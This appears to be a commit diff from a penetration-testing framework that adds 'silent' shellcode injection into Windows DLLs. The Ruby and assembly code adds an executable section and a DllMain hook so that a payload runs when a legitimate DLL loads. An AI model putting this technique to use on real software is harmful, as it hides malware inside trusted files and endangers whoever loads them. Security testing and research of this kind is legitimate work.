Merge pull request #1103 from scriptjunkie/dllinjectfix
Support silent shellcode injection into DLLsbug/bundler_fix
commit
0c5d748fca
|
@ -31,14 +31,12 @@ module Exe
|
||||||
|
|
||||||
def create_thread_stub
|
def create_thread_stub
|
||||||
<<-EOS
|
<<-EOS
|
||||||
hook_entrypoint:
|
|
||||||
pushad
|
pushad
|
||||||
push hook_libname
|
push hook_libname
|
||||||
call [iat_LoadLibraryA]
|
call [iat_LoadLibraryA]
|
||||||
push hook_funcname
|
push hook_funcname
|
||||||
push eax
|
push eax
|
||||||
call [iat_GetProcAddress]
|
call [iat_GetProcAddress]
|
||||||
mov eax, [iat_CreateThread]
|
|
||||||
lea edx, [thread_hook]
|
lea edx, [thread_hook]
|
||||||
push 0
|
push 0
|
||||||
push 0
|
push 0
|
||||||
|
@ -68,8 +66,9 @@ module Exe
|
||||||
return asm
|
return asm
|
||||||
end
|
end
|
||||||
|
|
||||||
def payload_stub
|
def payload_stub(prefix)
|
||||||
asm = create_thread_stub
|
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||||
|
asm << create_thread_stub
|
||||||
asm << payload_as_asm
|
asm << payload_as_asm
|
||||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
shellcode.encoded
|
shellcode.encoded
|
||||||
|
@ -85,14 +84,37 @@ module Exe
|
||||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||||
pe.header.time = pe_orig.header.time
|
pe.header.time = pe_orig.header.time
|
||||||
|
|
||||||
|
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||||
|
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||||
|
|
||||||
|
prefix = ''
|
||||||
|
if pe.header.characteristics.include? "DLL"
|
||||||
|
# if there is no entry point, just return after we bail or spawn shellcode
|
||||||
|
if pe.optheader.entrypoint == 0
|
||||||
|
prefix = "cmp [esp + 8], 1
|
||||||
|
jz spawncode
|
||||||
|
entrypoint:
|
||||||
|
xor eax, eax
|
||||||
|
inc eax
|
||||||
|
ret 0x0c
|
||||||
|
spawncode:"
|
||||||
|
else
|
||||||
|
# there is an entry point, we'll need to go to it after we bail or spawn shellcode
|
||||||
|
# if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
|
||||||
|
prefix = "cmp [esp + 8], 1
|
||||||
|
jnz entrypoint"
|
||||||
|
end
|
||||||
|
end
|
||||||
# Generate a new code section set to RWX with our payload in it
|
# Generate a new code section set to RWX with our payload in it
|
||||||
s = Metasm::PE::Section.new
|
s = Metasm::PE::Section.new
|
||||||
s.name = '.text'
|
s.name = '.text'
|
||||||
s.encoded = payload_stub
|
s.encoded = payload_stub prefix
|
||||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||||
|
|
||||||
# Tell our section where the original entrypoint was
|
# Tell our section where the original entrypoint was
|
||||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
if pe.optheader.entrypoint != 0
|
||||||
|
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||||
|
end
|
||||||
pe.sections << s
|
pe.sections << s
|
||||||
pe.invalidate_header
|
pe.invalidate_header
|
||||||
|
|
||||||
|
|
|
@ -169,21 +169,11 @@ require 'msf/core/exe/segment_injector'
|
||||||
payload = win32_rwx_exec(code)
|
payload = win32_rwx_exec(code)
|
||||||
|
|
||||||
# Create a new PE object and run through sanity checks
|
# Create a new PE object and run through sanity checks
|
||||||
endjunk = true
|
|
||||||
fsize = File.size(opts[:template])
|
fsize = File.size(opts[:template])
|
||||||
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
||||||
text = nil
|
text = nil
|
||||||
sections_end = 0
|
|
||||||
pe.sections.each do |sec|
|
pe.sections.each do |sec|
|
||||||
text = sec if sec.name == ".text"
|
text = sec if sec.name == ".text"
|
||||||
sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
|
|
||||||
endjunk = false if sec.contains_file_offset?(fsize-1)
|
|
||||||
end
|
|
||||||
#also check to see if there is a certificate
|
|
||||||
cert_entry = pe.hdr.opt['DataDirectory'][4]
|
|
||||||
#if the cert is the only thing past the sections, we can handle.
|
|
||||||
if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
|
|
||||||
endjunk = false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#try to inject code into executable by adding a section without affecting executable behavior
|
#try to inject code into executable by adding a section without affecting executable behavior
|
||||||
|
@ -1774,4 +1764,3 @@ def self.to_vba(framework,code,opts={})
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue